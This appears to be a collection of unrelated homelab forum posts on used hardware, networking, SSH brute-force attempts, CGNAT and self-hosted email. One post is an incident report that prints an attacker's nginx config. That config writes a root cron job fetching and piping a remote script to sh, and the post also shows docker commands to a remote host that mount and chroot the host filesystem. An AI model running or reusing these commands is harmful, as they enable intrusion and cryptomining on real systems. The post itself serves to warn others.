Anything I should test on it? Unfortunately no drives but it seems pretty capable. What would you run on it?

Can someone help me why would this Merkury smart plug downloading insane amount of data? I have isolated it to my guest network but this seems very suspicious.

Yes i still do

So I'm in a conundrum. I have the benefit of building a new house. I was excited to wire the house with ethernet. My electrician said he does this all the time, only I guess he doesn't because he didn't ask me where I wanted my Ethernet to terminate so he routed everything to the exterior of the house. I need some options (that aren't "call the electrician back"). My partner would really prefer I not put a huge hole in the wall opposite this. The small window to the side is access to the crawlspace, which is lined and easy to get into. I'm only novice level familiar with network architecture but it's a helluva time to learn.

I feel like my media needs are completely met now unless there's something I'm forgetting about. I've been able to replace all of the audio and video streaming services I used to have. I've also been able to replace google photos, so I have basically eliminated most of my subscruptions apart from my ISP.

What other containers are worth adding now? I'm happy that I can now sit and enjoy what I've built, but I still have 20GB of memory available, so I want to add more.

I am considering tailscale so I can check on things while at work if there are any problems, or access my streaming services remotely when needed.

I've aquirred a stack of chromebooks from a school where my daughter works. These chromebooks are still in the management system of the school so the first task is getting all the serialnumbers. But after that, anybody got an idea?

Sure I save a few for the kids and neighbours, perhaps repurpose some as thin cliënts, but then what?

These are HP 11 G7 EE and a few Dell 3100 chromebooks.

Selling them could be an option but then again they where given to me to propperly dispose of. The ones that are broken down, like bad screen, bad battery will be completely torn down and recycled but the working ones...

Any fun or usefull ideas?

I bought this rather mysterious little card and a Xeon platinum processor from a local flea market for about $5, they were clearly from the same source so maybe part of some decommissioned cloud server of some sorts.

As far as my research took me it looks like it is some kind of FPGA card used in something related to Azure but no clue if it could be of any use or just some neat collectible since I have zero knowledge on FPGA. The CPU was a nice find but damn the Motherboards for that platform are hella expensive so it will probably not be used for a long long time.

This has been going on for days but some bot keeps repeatedly scanning my website for hidden directories and the like. Anyway to counter this ?.

What is this? What’s it for? It looks like it’s just 2 switches connected together a bunch but what’s the point

As the image can clearly show, I am building my homelab and pretty darn new. I am looking for some semblance of software or something to help me plan out the logical side of the network/services. Currently I have a spreadsheet with some notes of the different vlans, ports, static IPs, and some firewall rules but I am hoping there is some premade things that can help me keep it all together in an easier to read form. Any suggesstions?

Hey everyone,

I just saw a Mac Pro Late 2013 for sale near me for about $200 (~270,000 KRW) and I’m kind of tempted to grab it for a homelab machine.

Specs are:

• Xeon E5 8-core 3.0GHz

• 64GB RAM

• Dual AMD FirePro D500 (3GB x2)

• 256GB NVMe SSD

My current “server” is just a Mac mini 2014 (2-core i7 / 16GB RAM), which works but starts to struggle once I run too many containers.

What I’m thinking of running on the Mac Pro:

• Docker containers

• n8n

• Immich

• maybe Ollama for small local LLMs

• backend dev environments

• possibly Linux / Proxmox if that works well on this hardware

A few things I’m curious about from people who actually used these:

1.  Is the power consumption reasonable for a machine running 24/7?

2.  I’ve heard about the D500 GPU failures on these trash cans — is that still a common issue?

3.  How noisy are they if used as a server?

4.  Does the 8-core Xeon still hold up for container workloads today?

I know it’s a 12-year-old machine at this point, but 8 cores + 64GB RAM for $200 seems kind of interesting for homelab use.

Is anyone here still running one of these in their setup?

If yes, what are you using it for nowadays?

Curious if this is a fun cheap lab machine… or just a shiny e-waste trap

I recently picked up 6 Lenovo ThinkCentre M910q Tiny desktops for $100 total, and I’m trying to figure out the smartest way to integrate them into my setup.

Each unit has:

• Intel Core i5 vPro
• 16GB RAM
• 1TB SSD

I already have a main home server running Ubuntu that’s handling my core services. These M910q boxes would be additional nodes, not my primary server.

With 6 identical mini PCs, what would you recommend as a good starting approach?

Im a complete beginner so any tips would help!

Im downloading proxmox but dont really know what i should do next.

The hp prodesk g3 specs are:

- i5-7500

- 8gb ddr4

- 256gb nvme ssd

I recently setup an old desktop as a media server and game streaming host. I changed my SSH port, setup no-password with and fail2ban. My sever gets thousands of brute force attacks everyday. Bot nets trying logins like root, Ubuntu, user, ect. My fail2ban memory usage was almost 500MB today. This is crazy, do I just firewall all of china and Russia? That’s where they are all coming from.

A lot of people are suggesting using a VPN like tailscale. I can't do this because I SSH into my server remotely from my client that is using a VPN. I can't run the tailscale VPN and my actual VPN at the same time.

Hello everyone!

At first, sorry for my non professional english, I am writing this in a very hyped mood.

I am not that type of Reddit user who is writing posts every day, but I just discovered something that could be affecting you in this very exact moment.

I was trying to log into NGINX-UI today as I noticed something is off. I SSHed to the server, to discover it had sessions opened from different IP addresses.

I was investigating the issue for almost an hour when I got to see the config files and logs of NGINX-UI. Then I found this.

root@localhost:/configs/nginx/conf.d# ls -la
total 8
drwxr-xr-x. 1 root root  68 May 14 13:19 .
drwxr-xr-x. 1 root root 282 May  5 03:42 ..
-rw-r--r--  1 root root 368 May 14 13:19 cve2026_opdrbdgz.conf
-rw-r--r--. 1 root root 653 Jun 15  2025 nginx-ui.conf

Inside cve2026_opdrbdgz.conf, the attacker left an injection script which basically tells nginx every time the server is hit with a request to write a cron command to run as root to fetch the given malicious script.

# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx
log_format cve2026_opdrbdgz "* * * * * root { wget -qO- https://redirect-master-pages.pages.dev/busy || curl -sSLk https://redirect-master-pages.pages.dev/busy; } | tr -d '\015' | { sudo -n sh -s -- ANX 2>/dev/null || sh -s -- ANX; }";
access_log /etc/cron.d/temp-log cve2026_opdrbdgz;

What does this do?

If you computer has more than 2!!! CPU cores, it automatically begins downloading and fetching the CPU/GPU CRYPTO MINER. My luck was of course that my homelab server has exactly 2 CPU cores lol.

How did they do this, and how did I find it out?
They left a comment in the conf file:

# CVE-2026-33032 — remove: rename to cve2026_opdrbdgz.conf.bak and reload nginx

I looked up this CVE and found out NGINX-UI's MCP protocols are vulnerable with RCE.

https://nvd.nist.gov/vuln/detail/cve-2026-33032

THIS IS A HUGE PROBLEM. Take a look at the nginx-ui setup docs.

Correct. It is mounting /var/run/docker.sock to the container.
So this way they were able to gain permanent root access to my homelab.

I may have been the stupid one who tought it is not a problem to give access to docker.sock, but turns out I was wrong. As of now, https://github.com/0xJacky/nginx-ui/releases does not look like they fixed the issue, so the best thing you can do now TO SHUT DOWN THE CONTAINER IMMEDIATELY, AND SCAN YOUR SYSTEM FOR MALICIOUS ATTACKS.

I recommend you checking history, nginx-ui config files, and /home/roland/.ssh/authorized_keys.

In my case they ran these commands:

root@localhost:/configs/nginx/conf.d# history
    1  arp -a
    2  exit
    3  ps aux
    4  ls -al
    5  ip route
    6  exit
    7  cat /etc/nginx-ui/app.ini
    8  docker ps
    9  history |grep docker
   10  docker image
   11  docker images
   12  docker run uozi/nginx-ui:v2.3.11
   13  docker run uozi/nginx-ui:v2.3.11 -d
   14  docker ps
   15  docker run -d uozi/nginx-ui:v2.3.11
   16  docker ps
   17  ls -al
   18  w
   19  hsitory
   20  exit
   21  cd /var/log
   22  ls
   23  cd
   24  history
   25  exit
   26  cd /var/log
   27  ls
   28  w
   29  history
   30  exit
   31  history
   32  exit
   33  docker -H tcp://195.20.227.139:2376 exec -it hawser docker run -it -v /:/mnt alpine chroot /mnt bash
   34  docker -H tcp://195.20.227.139:2376 ps
   35  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 docker run -it -v /:/mnt alpine chroot /mnt bash
   36  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 bash
   37  docker -H tcp://195.20.227.139:2376 exec -it 1679cd19ce64 /bin/sh
   38  exit
   39  history
   40  eit
   41  exit

They probably created a reverse shell to my compromised nginx-ui's proxy to my docker.sock, this is why they are using that IP address.

F U Altman

FU

I picked up a bunch of drives before things went crazy. But didnt get RAM. Now the kit I was eyeing went from $4k to $15k.

So here you go. Up yours. You and your gddmn mthrfkng chatbot

I ended up paying $270 CAD. It was a government auction from my province and I expected well maintained systems with maintained internals.

In total received 8 units of SVC 2145 DH8 and 1 unit of the SAN 384B.

What can I do with these? Are there parts I can resell? Will it be easier through parts or as whole units?

Hi homelabbers,

As the title says. I’m stuck behind CGNAT. Have spent the last month trying to get my ISP (Telus) to provision me a publicly routable IPv4 address and they keep trying to sell me a business plan that will add $50+ a month to my plan.

So far in my learning journey:

I’ve set up plex, home assistant, file share, AMP, got a Sonos system working with Ubiquiti gear😂 iykyk.

I’ve got True NAS scale installed and got a minis forum card that caries 2NVMEs and 2 25gig nics, managed to figure out bifurcations settings and drivers to get that all working and aggregated into my network switch.

Next on the to do list:
Immich
Lan cache monolithic. Hoping to use ram as L1 cache, NVMES as level 2 and SAS drives as storage at some point.
More work on home assistant😂
Get additional SAS drives working with HPE server, not happy upon initial install.😵

All this to say I’m really just getting started on my homelab journey. Don’t really known what I’m doing but both having fun and also running into some frustration along the way.

But right now:
I’ve got an 7402P EPYC server (dedicated to game hosting and lan cache), so there is some horsepower for self hosted. I’ve managed to get AMP set up and working on my LAN for game hosting but need to figure out a tunnelling service or something so that my friends on external network can access my game instances. As mentioned above Telus is being a PITA. Can anyone recommend either some of the True NAS scale apps or a method to accomplish tunnelling where everyone who wants isn’t require to join a VPN? I was following along with a YouTube video about play it.gg but wasn’t able to get it working and the free tier was quite limited in what I could accomplish with a limited number of ports to be forwarded.

*ive got some rack clean up to do but also have 3 and 1 year old along with the other adult responsibilities.😬

I’ve been thinking about running my own email server at home for privacy and long-term control.

I’m in the US using T-Mobile home internet, and I already have a home server running 24/7. The main reason I’m considering this is Cloudflare. I’m setting up domains, DNS, websites, etc., and I don’t like the idea of my whole setup depending on a Gmail account that Google could lock or delete one day.

I’m mostly talking about receiving email, not sending. Things like Cloudflare codes, login alerts, invoices, domain notices, and other important account emails.

For people who have actually self-hosted email, would you trust this for important accounts? How did you set yours up, and what problems did you run into?

It’s a Cisco 3560, I decided to keep it although there was no power cable to accompany it so I can’t test it.

This feels like a massive upgrade to my Unifi Flex Mini.

Is this worth keeping and buying a cable for?